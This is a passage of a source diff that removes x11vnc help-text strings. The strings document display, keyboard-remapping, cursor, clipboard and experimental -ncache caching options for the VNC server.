-" e.g. \"darkblue\" or numerical \"#RRGGBB\").\n"
-"\n"
-" Currently this option only works on GNOME, KDE, CDE,\n"
-" XFCE, and classic X (i.e. with the background image\n"
-" on the root window). The \"gconftool-2\", \"dcop\"\n"
-" and \"xfconf-query\" external commands are run for\n"
-" GNOME, KDE, and XFCE respectively. This also works\n"
-" on native MacOSX. (There is no color selection for\n"
-" MacOSX or XFCE.) Other desktops won't work, (send\n"
-" us the corresponding commands if you find them).\n"
-" If x11vnc is running as root (inetd(8) or gdm(1)),\n"
-" the -users option may be needed for GNOME, KDE, XFCE.\n"
-" If x11vnc guesses your desktop incorrectly, you can\n"
-" force it by prefixing color with \"gnome:\", \"kde:\",\n"
-" \"cde:\", \"xfce:\", or \"root:\".\n"
-"\n"
-" Update: -solid no longer works on KDE4.\n"
-"\n"
-" This mode works in a limited way on the Mac OS X Console\n"
-" with one color ('kelp') using the screensaver writing\n"
-" to the background. Look in \"~/Library/Screen Savers\"\n"
-" for VncSolidColor.png to change the color.\n"
-"\n"
-"-blackout string Black out rectangles on the screen. \"string\" is a\n"
-" comma separated list of WxH+X+Y type geometries for\n"
-" each rectangle. If one of the items on the list is the\n"
-" string \"noptr\" the mouse pointer will not be allowed\n"
-" to go into a blacked out region.\n"
-"-xinerama If your screen is composed of multiple monitors\n"
-"-noxinerama glued together via XINERAMA, and that screen is\n"
-" not a rectangle this option will try to guess the\n"
-" areas to black out (if your system has libXinerama).\n"
-" default: %s\n"
-"\n"
-" In general, we have noticed on XINERAMA displays you may\n"
-" need to use the \"-xwarppointer\" option if the mouse\n"
-" pointer misbehaves and it is enabled by default. Use\n"
-" \"-noxwarppointer\" if you do not want this.\n"
-"\n"
-"-xtrap Use the DEC-XTRAP extension for keystroke and mouse\n"
-" input insertion. For use on legacy systems, e.g. X11R5,\n"
-" running an incomplete or missing XTEST extension.\n"
-" By default DEC-XTRAP will be used if XTEST server grab\n"
-" control is missing, use -xtrap to do the keystroke and\n"
-" mouse insertion via DEC-XTRAP as well.\n"
-"\n"
-"-xrandr [mode] If the display supports the XRANDR (X Resize, Rotate\n"
-" and Reflection) extension, and you expect XRANDR events\n"
-" to occur to the display while x11vnc is running, this\n"
-" options indicates x11vnc should try to respond to\n"
-" them (as opposed to simply crashing by assuming the\n"
-" old screen size). See the xrandr(1) manpage and run\n"
-" 'xrandr -q' for more info. [mode] is optional and\n"
-" described below.\n"
-"\n"
-" Since watching for XRANDR events and trapping errors\n"
-" increases polling overhead, only use this option if\n"
-" XRANDR changes are expected. For example on a rotatable\n"
-" screen PDA or laptop, or using a XRANDR-aware Desktop\n"
-" where you resize often. It is best to be viewing with a\n"
-" vncviewer that supports the NewFBSize encoding, since it\n"
-" knows how to react to screen size changes. Otherwise,\n"
-" LibVNCServer tries to do so something reasonable for\n"
-" viewers that cannot do this (portions of the screen\n"
-" may be clipped, unused, etc).\n"
-"\n"
-" Note: the default now is to check for XRANDR events, but\n"
-" do not trap every X call that may fail due to resize.\n"
-" If a resize event is received, the full -xrandr mode\n"
-" is enabled. To disable even checking for events supply:\n"
-" -noxrandr.\n"
-"\n"
-" \"mode\" defaults to \"resize\", which means create a\n"
-" new, resized, framebuffer and hope all viewers can cope\n"
-" with the change. \"newfbsize\" means first disconnect\n"
-" all viewers that do not support the NewFBSize VNC\n"
-" encoding, and then resize the framebuffer. \"exit\"\n"
-" means disconnect all viewer clients, and then terminate\n"
-" x11vnc.\n"
-"\n"
-"-rotate string Rotate and/or flip the framebuffer view exported by VNC.\n"
-" This transformation is independent of XRANDR and is\n"
-" done in software in main memory and so may be slower.\n"
-" This mode could be useful on a handheld with portrait or\n"
-" landscape modes that do not correspond to the scanline\n"
-" order of the actual framebuffer. \"string\" can be:\n"
-"\n"
-" x flip along x-axis\n"
-" y flip along y-axis\n"
-" xy flip along x- and y-axes\n"
-" +90 rotate 90 degrees clockwise\n"
-" -90 rotate 90 degrees counter-clockwise\n"
-" +90x rotate 90 degrees CW, then flip along x\n"
-" +90y rotate 90 degrees CW, then flip along y\n"
-"\n"
-" these give all possible rotations and reflections.\n"
-"\n"
-" Aliases: same as xy: yx, +180, -180, 180\n"
-" same as -90: +270, 270\n"
-" same as +90: 90, (ditto for 90x, 90y)\n"
-"\n"
-" Like -scale, this transformation is applied at the very\n"
-" end of any chain of framebuffer transformations and so\n"
-" any options with geometries, e.g. -blackout, -clip, etc.\n"
-" are relative to the original X (or -rawfb) framebuffer,\n"
-" not the final one sent to VNC viewers.\n"
-"\n"
-" If you do not want the cursor shape to be rotated\n"
-" prefix \"string\" with \"nc:\", e.g. \"nc:+90\",\n"
-" \"nc:xy\", etc.\n"
-"\n"
-"-padgeom WxH Whenever a new vncviewer connects, the framebuffer is\n"
-" replaced with a fake, solid black one of geometry WxH.\n"
-" Shortly afterwards the framebuffer is replaced with the\n"
-" real one. This is intended for use with vncviewers\n"
-" that do not support NewFBSize and one wants to make\n"
-" sure the initial viewer geometry will be big enough\n"
-" to handle all subsequent resizes (e.g. under -xrandr,\n"
-" -remote id:windowid, rescaling, etc.)\n"
-"\n"
-" In -unixpw mode this sets the size of the login screen.\n"
-" Use \"once:WxH\" it ignore padgeom after the login\n"
-" screen is set up.\n"
-"\n"
-"-o logfile Write stderr messages to file \"logfile\" instead of to\n"
-" the terminal. Same as \"-logfile file\". To append\n"
-" to the file use \"-oa file\" or \"-logappend file\".\n"
-" If \"logfile\" contains the string \"%%VNCDISPLAY\"\n"
-" it is expanded to the vnc display (the name may need\n"
-" to be guessed at.) \"%%HOME\" works too.\n"
-"\n"
-"-flag file Write the \"PORT=NNNN\" (e.g. PORT=5900) string to\n"
-" \"file\" in addition to stdout. This option could be\n"
-" useful by wrapper script to detect when x11vnc is ready.\n"
-"\n"
-"-rmflag file Remove \"file\" at exit to signal when x11vnc is done.\n"
-" The file is created at startup if it does not already\n"
-" exist or if \"file\" is prefixed with \"create:\".\n"
-" If the file is created, the x11vnc PID is placed in\n"
-" the file. Otherwise the files contents is not changed.\n"
-" Use prefix \"nocreate:\" to prevent creation.\n"
-"\n"
-"-rc filename Use \"filename\" instead of $HOME/.x11vncrc for rc file.\n"
-"-norc Do not process any .x11vncrc file for options.\n"
-"\n"
-"-env VAR=VALUE Set the environment variable 'VAR' to value 'VALUE'\n"
-" at x11vnc startup. This is a convenience utility to\n"
-" avoid shell script wrappers, etc. to set the env. var.\n"
-" You may specify as many of these as needed on the\n"
-" command line.\n"
-"-prog /path/to/x11vnc Set the full path to the x11vnc program for cases when\n"
-" it cannot be determined from argv[0] (e.g. tcpd/inetd)\n"
-"\n"
-"-h, -help Print this help text.\n"
-"-?, -opts Only list the x11vnc options.\n"
-"-V, -version Print program version and last modification date.\n"
-"-license Print out license information. Same as -copying and\n"
-" -warranty.\n"
-"\n"
-"-dbg Instead of exiting after cleaning up, run a simple\n"
-" \"debug crash shell\" when fatal errors are trapped.\n"
-"\n"
-"-q, -quiet Be quiet by printing less informational output to\n"
-" stderr. (use -noquiet to undo an earlier -quiet.)\n"
-"\n"
-" The -quiet option does not eliminate all informational\n"
-" output, it only reduces it. It is ignored in most\n"
-" auxiliary usage modes, e.g. -storepasswd. To eliminate\n"
-" all output use: 2>/dev/null 1>&2, etc.\n"
-"\n"
-"-v, -verbose Print out more information to stderr.\n"
-"\n"
-"-bg Go into the background after screen setup. Messages to\n"
-" stderr are lost unless -o logfile is used. Something\n"
-" like this could be useful in a script:\n"
-" port=`ssh -t $host \"x11vnc -display :0 -bg\" | grep PORT`\n"
-" port=`echo \"$port\" | sed -e 's/PORT=//'`\n"
-" port=`expr $port - 5900`\n"
-" vncviewer $host:$port\n"
-"\n"
-"-modtweak Option -modtweak automatically tries to adjust the AltGr\n"
-"-nomodtweak and Shift modifiers for differing language keyboards\n"
-" between client and host. Otherwise, only a single key\n"
-" press/release of a Keycode is simulated (i.e. ignoring\n"
-" the state of the modifiers: this usually works for\n"
-" identical keyboards). Also useful in resolving cases\n"
-" where a Keysym is bound to multiple keys (e.g. \"<\" + \">\"\n"
-" and \",\" + \"<\" keys). Default: %s\n"
-"\n"
-" If you are having trouble with with keys and -xkb or\n"
-" -noxkb, and similar things don't help, try -nomodtweak.\n"
-"\n"
-" On some HP-UX systems it is been noted that they have\n"
-" an odd keymapping where a single keycode will have a\n"
-" keysym, e.g. \"#\", up to three times. You can check\n"
-" via \"xmodmap -pk\" or the -dk option. The failure\n"
-" is when you try to type \"#\" it yields \"3\". If you\n"
-" see this problem try setting the environment variable\n"
-" MODTWEAK_LOWEST=1 to see if it helps.\n"
-"\n"
-"-xkb When in modtweak mode, use the XKEYBOARD extension (if\n"
-"-noxkb the X display supports it) to do the modifier tweaking.\n"
-" This is powerful and should be tried if there are still\n"
-" keymapping problems when using -modtweak by itself.\n"
-" The default is to check whether some common keysyms,\n"
-" e.g. !, @, [, are only accessible via -xkb mode and if\n"
-" so then automatically enable the mode. To disable this\n"
-" automatic detection use -noxkb.\n"
-"\n"
-" When -xkb mode is active you can set these env. vars.\n"
-" They apply only when there is ambiguity as to which\n"
-" key to choose (i.e the mapping is not one-to-one).\n"
-" NOKEYHINTS=1: for up ascii keystrokes do not use score\n"
-" hints saved when the key was pressed down. NOANYDOWN=1:\n"
-" for up keystrokes do not resort to searching through\n"
-" keys that are currently pressed down. KEYSDOWN=N:\n"
-" remember the last N keys press down for tie-breaking\n"
-" when an up keystroke comes in.\n"
-"\n"
-"-capslock When in -modtweak (the default) or -xkb mode,\n"
-" if a keysym in the range A-Z comes in check the X\n"
-" server to see if the Caps_Lock is set. If it is do\n"
-" not artificially press Shift to generate the keysym.\n"
-" This will enable the CapsLock key to behave correctly\n"
-" in some circumstances: namely *both* the VNC viewer\n"
-" machine and the x11vnc X server are in the CapsLock\n"
-" on state. If one side has CapsLock on and the other\n"
-" off and the keyboard is not behaving as you think it\n"
-" should you should correct the CapsLock states (hint:\n"
-" pressing CapsLock inside and outside of the viewer can\n"
-" help toggle them both to the correct state). However,\n"
-" for best results do not use this option, but rather\n"
-" *only* enable CapsLock on the VNC viewer side (i.e. by\n"
-" pressing CapsLock outside of the viewer window, also\n"
-" -skip_lockkeys below). Also try -nomodtweak for a\n"
-" possible workaround.\n"
-"\n"
-"-skip_lockkeys Have x11vnc ignore all Caps_Lock, Shift_Lock, Num_Lock,\n"
-"-noskip_lockkeys Scroll_Lock keysyms received from viewers. The idea is\n"
-" you press Caps_Lock on the VNC Viewer side but that does\n"
-" not change the lock state in the x11vnc-side X server.\n"
-" Nevertheless your capitalized letters come in over\n"
-" the wire and are applied correctly to the x11vnc-side\n"
-" X server. Note this mode probably won't do what you\n"
-" want in -nomodtweak mode. Also, a kludge for KP_n\n"
-" digits is always done in this mode: they are mapped to\n"
-" regular digit keysyms. See also -capslock above.\n"
-" The default is -noskip_lockkeys.\n"
-"\n"
-"-skip_keycodes string Ignore the comma separated list of decimal keycodes.\n"
-" Perhaps these are keycodes not on your keyboard but\n"
-" your X server thinks exist. Currently only applies\n"
-" to -xkb mode. Use this option to help x11vnc in the\n"
-" reverse problem it tries to solve: Keysym -> Keycode(s)\n"
-" when ambiguities exist (more than one Keycode per\n"
-" Keysym). Run 'xmodmap -pk' to see your keymapping.\n"
-" Example: \"-skip_keycodes 94,114\"\n"
-"-sloppy_keys Experimental option that tries to correct some\n"
-" \"sloppy\" key behavior. E.g. if at the viewer you\n"
-" press Shift+Key but then release the Shift before\n"
-" Key that could give rise to extra unwanted characters\n"
-" (usually only between keyboards of different languages).\n"
-" Only use this option if you observe problems with\n"
-" some keystrokes.\n"
-"-skip_dups Some VNC viewers send impossible repeated key events,\n"
-"-noskip_dups e.g. key-down, key-down, key-up, key-up all for the same\n"
-" key, or 20 downs in a row for the same modifier key!\n"
-" Setting -skip_dups means to skip these duplicates and\n"
-" just process the first event. Note: some VNC viewers\n"
-" assume they can send down's without the corresponding\n"
-" up's and so you should not set this option for\n"
-" these viewers (symptom: some keys do not autorepeat)\n"
-" Default: %s\n"
-"-add_keysyms If a Keysym is received from a VNC viewer and that\n"
-"-noadd_keysyms Keysym does not exist in the X server, then add the\n"
-" Keysym to the X server's keyboard mapping on an unused\n"
-" key. Added Keysyms will be removed periodically and\n"
-" also when x11vnc exits. Default: %s\n"
-"-clear_mods At startup and exit clear the modifier keys by sending\n"
-" KeyRelease for each one. The Lock modifiers are skipped.\n"
-" Used to clear the state if the display was accidentally\n"
-" left with any pressed down.\n"
-"-clear_keys As -clear_mods, except try to release ANY pressed key.\n"
-" Note that this option and -clear_mods can interfere\n"
-" with a person typing at the physical keyboard.\n"
-"-clear_all As -clear_keys, except try to release any CapsLock,\n"
-" NumLock, etc. locks as well.\n"
-"\n"
-"-remap string Read Keysym remappings from file named \"string\".\n"
-" Format is one pair of Keysyms per line (can be name\n"
-" or hex value) separated by a space. If no file named\n"
-" \"string\" exists, it is instead interpreted as this\n"
-" form: key1-key2,key3-key4,... See <X11/keysymdef.h>\n"
-" header file for a list of Keysym names, or use xev(1).\n"
-"\n"
-" To map a key to a button click, use the fake Keysyms\n"
-" \"Button1\", ..., etc. E.g: \"-remap Super_R-Button2\"\n"
-" (useful for pasting on a laptop)\n"
-"\n"
-" I use these if the machine I am viewing from does not\n"
-" have a scrollwheel or I don't like using the one it has:\n"
-"\n"
-" -remap Super_R-Button4,Menu-Button5\n"
-" -remap KP_Add-Button4,KP_Enter-Button5\n"
-"\n"
-" the former would be used on a PC, the latter on a\n"
-" MacBook. This way those little used keys can be used\n"
-" to generate bigger hops than the Up and Down arrows\n"
-" provide. One can scroll through text or web pages more\n"
-" quickly this way (especially if x11vnc scroll detection\n"
-" is active.)\n"
-"\n"
-" Use Button44, Button12, etc. for multiple clicks.\n"
-"\n"
-" To disable a keysym (i.e. make it so it will not be\n"
-" injected), remap it to \"NoSymbol\" or \"None\".\n"
-"\n"
-" Dead keys: \"dead\" (or silent, mute) keys are keys that\n"
-" do not produce a character but must be followed by a 2nd\n"
-" keystroke. This is often used for accenting characters,\n"
-" e.g. to put \"`\" on top of \"a\" by pressing the dead\n"
-" key and then \"a\". Note that this interpretation\n"
-" is not part of core X11, it is up to the toolkit or\n"
-" application to decide how to react to the sequence.\n"
-" The X11 names for these keysyms are \"dead_grave\",\n"
-" \"dead_acute\", etc. However some VNC viewers send the\n"
-" keysyms \"grave\", \"acute\" instead thereby disabling\n"
-" the accenting. To work around this -remap can be used.\n"
-" For example \"-remap grave-dead_grave,acute-dead_acute\"\n"
-" As a convenience, \"-remap DEAD\" applies these remaps:\n"
-"\n"
-" g grave-dead_grave\n"
-" a acute-dead_acute\n"
-" c asciicircum-dead_circumflex\n"
-" t asciitilde-dead_tilde\n"
-" m macron-dead_macron\n"
-" b breve-dead_breve\n"
-" D abovedot-dead_abovedot\n"
-" d diaeresis-dead_diaeresis\n"
-" o degree-dead_abovering\n"
-" A doubleacute-dead_doubleacute\n"
-" r caron-dead_caron\n"
-" e cedilla-dead_cedilla\n"
-"\n"
-" If you just want a subset use the first letter\n"
-" label, e.g. \"-remap DEAD=ga\" to get the first two.\n"
-" Additional remaps may also be supplied via commas,\n"
-" e.g. \"-remap DEAD=ga,Super_R-Button2\". Finally,\n"
-" \"DEAD=missing\" means to apply all of the above as\n"
-" long as the left hand member is not already in the\n"
-" X11 keymap.\n"
-"\n"
-"-norepeat Option -norepeat disables X server key auto repeat when\n"
-"-repeat VNC clients are connected and VNC keyboard input is\n"
-" not idle for more than 5 minutes. This works around a\n"
-" repeating keystrokes bug (triggered by long processing\n"
-" delays between key down and key up client events:\n"
-" either from large screen changes or high latency).\n"
-" Default: %s\n"
-"\n"
-" You can set the env. var. X11VNC_IDLE_TIMEOUT to the\n"
-" number of idle seconds you want (5min = 300secs).\n"
-"\n"
-" Note: your VNC viewer side will likely do autorepeating,\n"
-" so this is no loss unless someone is simultaneously at\n"
-" the real X display.\n"
-"\n"
-" Use \"-norepeat N\" to set how many times norepeat will\n"
-" be reset if something else (e.g. X session manager)\n"
-" undoes it. The default is 2. Use a negative value\n"
-" for unlimited resets.\n"
-"\n"
-"-nofb Ignore video framebuffer: only process keyboard and\n"
-" pointer. Intended for use with Win2VNC and x2vnc\n"
-" dual-monitor setups.\n"
-"-nobell Do not watch for XBell events. (no beeps will be heard)\n"
-" Note: XBell monitoring requires the XKEYBOARD extension.\n"
-"-nosel Do not manage exchange of X selection/cutbuffer between\n"
-" VNC viewers and the X server at all.\n"
-"-noprimary Do not poll the PRIMARY selection for changes to send\n"
-" back to clients. (PRIMARY is still set on received\n"
-" changes, however).\n"
-"-nosetprimary Do not set the PRIMARY selection for changes received\n"
-" from VNC clients.\n"
-"-noclipboard Do not poll the CLIPBOARD selection for changes to send\n"
-" back to clients. (CLIPBOARD is still set on received\n"
-" changes, however).\n"
-"-nosetclipboard Do not set the CLIPBOARD selection for changes\n"
-" received from VNC clients.\n"
-"-seldir string If direction string is \"send\", only send the selection\n"
-" to viewers, and if it is \"recv\" only receive it from\n"
-" viewers. To work around apps setting the selection\n"
-" too frequently and messing up the other end. You can\n"
-" actually supply a comma separated list of directions,\n"
-" including \"debug\" to turn on debugging output.\n"
-"\n"
-"-cursor [mode] Sets how the pointer cursor shape (little icon at the\n"
-"-nocursor mouse pointer) should be handled. The \"mode\" string\n"
-" is optional and is described below. The default\n"
-" is to show some sort of cursor shape(s). How this\n"
-" is done depends on the VNC viewer and the X server.\n"
-" Use -nocursor to disable cursor shapes completely.\n"
-"\n"
-" Some VNC viewers support the TightVNC CursorPosUpdates\n"
-" and CursorShapeUpdates extensions (cuts down on\n"
-" network traffic by not having to send the cursor image\n"
-" every time the pointer is moved), in which case these\n"
-" extensions are used (see -nocursorshape and -nocursorpos\n"
-" below to disable). For other viewers the cursor shape\n"
-" is written directly to the framebuffer every time the\n"
-" pointer is moved or changed and gets sent along with\n"
-" the other framebuffer updates. In this case, there\n"
-" will be some lag between the vnc viewer pointer and\n"
-" the remote cursor position.\n"
-"\n"
-" If the X display supports retrieving the cursor shape\n"
-" information from the X server, then the default is\n"
-" to use that mode. On Solaris this can be done with\n"
-" the SUN_OVL extension using -overlay (see also the\n"
-" -overlay_nocursor option). A similar overlay scheme\n"
-" is used on IRIX. Xorg (e.g. Linux) and recent Solaris\n"
-" Xsun servers support the XFIXES extension to retrieve\n"
-" the exact cursor shape from the X server. If XFIXES\n"
-" is present it is preferred over Overlay and is used by\n"
-" default (see -noxfixes below). This can be disabled\n"
-" with -nocursor, and also some values of the \"mode\"\n"
-" option below.\n"
-"\n"
-" Note that under XFIXES cursors with transparency (alpha\n"
-" channel) will usually not be exactly represented and one\n"
-" may find Overlay preferable. See also the -alphacut\n"
-" and -alphafrac options below as fudge factors to try\n"
-" to improve the situation for cursors with transparency\n"
-" for a given theme.\n"
-"\n"
-" The \"mode\" string can be used to fine-tune the\n"
-" displaying of cursor shapes. It can be used the\n"
-" following ways:\n"
-"\n"
-" \"-cursor arrow\" - just show the standard arrow\n"
-" nothing more or nothing less.\n"
-"\n"
-" \"-cursor none\" - same as \"-nocursor\"\n"
-"\n"
-" \"-cursor X\" - when the cursor appears to be on the\n"
-" root window, draw the familiar X shape. Some desktops\n"
-" such as GNOME cover up the root window completely,\n"
-" and so this will not work, try \"X1\", etc, to try to\n"
-" shift the tree depth. On high latency links or slow\n"
-" machines there will be a time lag between expected and\n"
-" the actual cursor shape.\n"
-"\n"
-" \"-cursor some\" - like \"X\" but use additional\n"
-" heuristics to try to guess if the window should have\n"
-" a windowmanager-like resizer cursor or a text input\n"
-" I-beam cursor. This is a complete hack, but may be\n"
-" useful in some situations because it provides a little\n"
-" more feedback about the cursor shape.\n"
-"\n"
-" \"-cursor most\" - try to show as many cursors as\n"
-" possible. Often this will only be the same as \"some\"\n"
-" unless the display has overlay visuals or XFIXES\n"
-" extensions available. On Solaris and IRIX if XFIXES\n"
-" is not available, -overlay mode will be attempted.\n"
-"\n"
-"-cursor_drag Show cursor shape changes even when the mouse is being\n"
-" dragged with a mouse button down. This is useful if you\n"
-" want to be able to see Drag-and-Drop cursor icons, etc.\n"
-"\n"
-"-arrow n Choose an alternate \"arrow\" cursor from a set of\n"
-" some common ones. n can be 1 to %d. Default is: %d\n"
-" Ignored when in XFIXES cursor-grabbing mode.\n"
-"\n"
-"-noxfixes Do not use the XFIXES extension to draw the exact cursor\n"
-" shape even if it is available.\n"
-"\n"
-" Note: To work around a crash in Xorg 1.5 and later\n"
-" some people needed to use -noxfixes. The Xorg crash\n"
-" occurred right after a Display Manager (e.g. GDM) login.\n"
-" Starting with x11vnc 0.9.9 it tries to automatically\n"
-" avoid using XFIXES until it is sure a window manager\n"
-" is running. See the -reopen option for more info and\n"
-" how to use X11VNC_AVOID_WINDOWS=never to disable it.\n"
-"\n"
-"-alphacut n When using the XFIXES extension for the cursor shape,\n"
-" cursors with transparency will not usually be displayed\n"
-" exactly (but opaque ones will). This option sets n as\n"
-" a cutoff for cursors that have transparency (\"alpha\n"
-" channel\" with values ranging from 0 to 255) Any cursor\n"
-" pixel with alpha value less than n becomes completely\n"
-" transparent. Otherwise the pixel is completely opaque.\n"
-" Default %d\n"
-"\n"
-"-alphafrac fraction With the threshold in -alphacut some cursors will become\n"
-" almost completely transparent because their alpha values\n"
-" are not high enough. For those cursors adjust the\n"
-" alpha threshold until fraction of the non-zero alpha\n"
-" channel pixels become opaque. Default %.2f\n"
-"-alpharemove By default, XFIXES cursors pixels with transparency have\n"
-" the alpha factor multiplied into the RGB color values\n"
-" (i.e. that corresponding to blending the cursor with a\n"
-" black background). Specify this option to remove the\n"
-" alpha factor. (useful for light colored semi-transparent\n"
-" cursors).\n"
-"-noalphablend In XFIXES mode do not send cursor alpha channel data\n"
-" to LibVNCServer. The default is to send it. The\n"
-" alphablend effect will only be visible in -nocursorshape\n"
-" mode or for clients with cursorshapeupdates turned\n"
-" off. (However there is a hack for 32bpp with depth 24,\n"
-" it uses the extra 8 bits to store cursor transparency\n"
-" for use with a hacked vncviewer that applies the\n"
-" transparency locally. See the FAQ for more info).\n"
-"\n"
-"-nocursorshape Do not use the TightVNC CursorShapeUpdates extension\n"
-" even if clients support it. See -cursor above.\n"
-"-cursorpos Option -cursorpos enables sending the X cursor position\n"
-"-nocursorpos back to all vnc clients that support the TightVNC\n"
-" CursorPosUpdates extension. Other clients will be able\n"
-" to see the pointer motions. Default: %s\n"
-"-xwarppointer Move the pointer with XWarpPointer(3X) instead of\n"
-"-noxwarppointer the XTEST extension. Use this as a workaround\n"
-" if the pointer motion behaves incorrectly, e.g.\n"
-" on touchscreens or other non-standard setups.\n"
-"\n"
-" It is also sometimes needed on XINERAMA displays and is\n"
-" enabled by default if XINERAMA is found to be active.\n"
-" To prevent this, use -noxwarppointer.\n"
-"\n"
-"-always_inject Even if there is no displacement (dx = dy = 0) for a\n"
-" VNC mouse event force the pointer to the indicated x,y\n"
-" position anyway. Recent (2009) gui toolkits (gnome)\n"
-" have problems with x11vnc's original mouse input\n"
-" injection method. So x11vnc's mouse input injection\n"
-" method has been modified. To regain the OLD behavior\n"
-" use this option: -always_inject. Then x11vnc will\n"
-" always force positioning the mouse to the x,y position\n"
-" even if that position has not changed since the previous\n"
-" VNC input event.\n"
-"\n"
-" The first place this problem was noticed was in gnome\n"
-" terminal: if you pressed and released mouse button 3, a\n"
-" menu was posted and then its first element 'New Terminal\n"
-" Window' was activated. This was because x11vnc injected\n"
-" the mouse position twice: once on ButtonPress and again\n"
-" on ButtonRelease. The toolkit interpreted the 2nd one\n"
-" as mouse motion even though the mouse hadn't moved.\n"
-" So now by default x11vnc tries to avoid injecting the\n"
-" 2nd one.\n"
-"\n"
-" Note that with the new default x11vnc will be oblivious\n"
-" to applications moving the pointer (warping) or the\n"
-" user at the physical display moving it. So it might,\n"
-" e.g., inject ButtonRelease at the wrong position.\n"
-" If this (or similar scenarios) causes problems in your\n"
-" environment, specify -always_inject for the old method.\n"
-"\n"
-"-buttonmap string String to remap mouse buttons. Format: IJK-LMN, this\n"
-" maps buttons I -> L, etc., e.g. -buttonmap 13-31\n"
-"\n"
-" Button presses can also be mapped to keystrokes: replace\n"
-" a button digit on the right of the dash with :<sym>:\n"
-" or :<sym1>+<sym2>: etc. for multiple keys. For example,\n"
-" if the viewing machine has a mouse-wheel (buttons 4 5)\n"
-" but the x11vnc side does not, these will do scrolls:\n"
-" -buttonmap 12345-123:Prior::Next:\n"
-" -buttonmap 12345-123:Up+Up+Up::Down+Down+Down:\n"
-"\n"
-" See <X11/keysymdef.h> header file for a list of Keysyms,\n"
-" or use the xev(1) program. Note: mapping of button\n"
-" clicks to Keysyms may not work if -modtweak or -xkb is\n"
-" needed for the Keysym.\n"
-"\n"
-" If you include a modifier like \"Shift_L\" the\n"
-" modifier's up/down state is toggled, e.g. to send\n"
-" \"The\" use :Shift_L+t+Shift_L+h+e: (the 1st one is\n"
-" shift down and the 2nd one is shift up). (note: the\n"
-" initial state of the modifier is ignored and not reset)\n"
-" To include button events use \"Button1\", ... etc.\n"
-"\n"
-" -buttonmap currently does not work on MacOSX console\n"
-" or in -rawfb mode.\n"
-"\n"
-" Workaround: use -buttonmap IJ...-LM...=n to limit the\n"
-" number of mouse buttons to n, e.g. 123-123=3. This will\n"
-" prevent x11vnc from crashing if the X server reports\n"
-" there are 5 buttons (4/5 scroll wheel), but there are\n"
-" only really 3.\n"
-"\n"
-"-nodragging Do not update the display during mouse dragging events\n"
-" (mouse button held down). Greatly improves response on\n"
-" slow setups, but you lose all visual feedback for drags,\n"
-" text selection, and some menu traversals. It overrides\n"
-" any -pointer_mode setting.\n"
-"\n"
-#ifndef NO_NCACHE
-"-ncache n Client-side caching scheme. Framebuffer memory \"n\"\n"
-" (an integer) times that of the full display is allocated\n"
-" below the actual framebuffer to cache screen contents\n"
-" for rapid retrieval. So a W x H frambuffer is expanded\n"
-" to a W x (n+1)*H one. Use 0 to disable.\n"
-"\n"
-" The \"n\" is actually optional, the default is 10.\n"
-"\n"
-" For this and the other -ncache* options below you can\n"
-" abbreviate \"-ncache\" with \"-nc\". Also, \"-nonc\"\n"
-" is the same as \"-ncache 0\"\n"
-"\n"
-" This is an experimental option, currently implemented in\n"
-" an awkward way in that in the VNC Viewer you can see the\n"
-" pixel cache contents if you scroll down, etc. So you\n"
-" will have to set things up so you can't see that region.\n"
-" If this method is successful, the changes required for\n"
-" clients to do this less awkwardly will be investigated.\n"
-"\n"
-" The SSVNC viewer does a good job at automatically hiding\n"
-" the pixel cache region. Or use SSVNC's -ycrop option\n"
-" to explicitly hide the region.\n"
-"\n"
-" Note that this mode consumes a huge amount of memory,\n"
-" both on the x11vnc server side and on the VNC Viewer\n"
-" side. If n=2 then the amount of RAM used is roughly\n"
-" tripled for both x11vnc and the VNC Viewer. As a rule\n"
-" of thumb, note that 1280x1024 at depth 24 is about 5MB\n"
-" of pixel data.\n"
-"\n"
-" For reasonable response when cycling through 4 to 6\n"
-" large (e.g. web browser) windows a value n of 6 to 12\n"
-" is recommended. (that's right: ~10X more memory...)\n"
-"\n"
-" Because of the way window backingstore and saveunders\n"
-" are implemented, n must be even. It will be incremented\n"
-" by 1 if it is not.\n"
-"\n"
-" This mode also works for native MacOS X, but may not\n"
-" be as effective as the X version. This is due to a\n"
-" number of things, one is the drop-shadow compositing\n"
-" that leaves extra areas that need to be repaired (see\n"
-" -ncache_pad). Another is the window iconification\n"
-" animations need to be avoided (see -macicontime).\n"
-" It appears the that the 'Scale' animation mode gives\n"
-" better results than the 'Genie' one. Also, window event\n"
-" detection not as accurate as the X version.\n"
-"\n"
-"-ncache_cr In -ncache mode, try to do copyrect opaque window\n"
-" moves/drags instead of wireframes (this can induce\n"
-" painting errors). The wireframe will still be used when\n"
-" moving a window whose save-unders has not yet been set\n"
-" or has been invalidated.\n"
-"\n"
-" Some VNC Viewers provide better response than others\n"
-" with this option. On Unix, realvnc viewer gives\n"
-" smoother drags than tightvnc viewer. Response may also\n"
-" be choppy if the server side machine is too slow.\n"
-"\n"
-" Sometimes on very slow modem connections, this actually\n"
-" gives an improvement because no pixel data at all\n"
-" (not even the box animation) is sent during the drag.\n"
-"\n"
-"-ncache_no_moveraise In -ncache mode, do not assume that moving a window\n"
-" will cause the window manager to raise it to the top\n"
-" of the stack. The default is to assume it does, and\n"
-" so at the beginning of any wireframe, etc, window moves\n"
-" the window will be pushed to top in the VNC viewer.\n"
-"\n"
-"-ncache_no_dtchange In -ncache mode, do not try to guess when the desktop\n"
-" (viewport) changes to another one (i.e. another\n"
-" workarea). The default is to try to guess and when\n"
-" detected try to make the transistion more smoothly.\n"
-"\n"
-"-ncache_no_rootpixmap In -ncache mode, do not try to snapshot the desktop\n"
-" background to use in guessing or reconstructing window\n"
-" save-unders.\n"
-"\n"
-"-ncache_keep_anims In -ncache mode, do not try to disable window\n"
-" manager animations and other effects (that usually\n"
-" degrade ncache performance or cause painting errors).\n"
-" The default is to try to disable them on KDE (but not\n"
-" GNOME) when VNC clients are connected.\n"
-"\n"
-" For other window managers or desktops that provide\n"
-" animations, effects, compositing, translucency,\n"
-" etc. that interfere with the -ncache method you will\n"
-" have to disable them manually.\n"
-"\n"
-"-ncache_old_wm In -ncache mode, enable some heuristics for old style\n"
-" window managers such as fvwm and twm.\n"
-"\n"
-"-ncache_pad n In -ncache mode, pad each window with n pixels for the\n"
-" caching rectangles. This can be used to try to improve\n"
-" the situation with dropshadows or other compositing\n"
-" (e.g. MacOS X window manager), although it could make\n"
-" things worse. The default is 0 on Unix and 24 on\n"
-" MacOS X.\n"
-"-debug_ncache Turn on debugging and profiling output under -ncache.\n"
-"\n"
-#endif
-"-wireframe [str] Try to detect window moves or resizes when a mouse\n"
-"-nowireframe button is held down and show a wireframe instead of\n"
-" the full opaque window. This is based completely on\n"
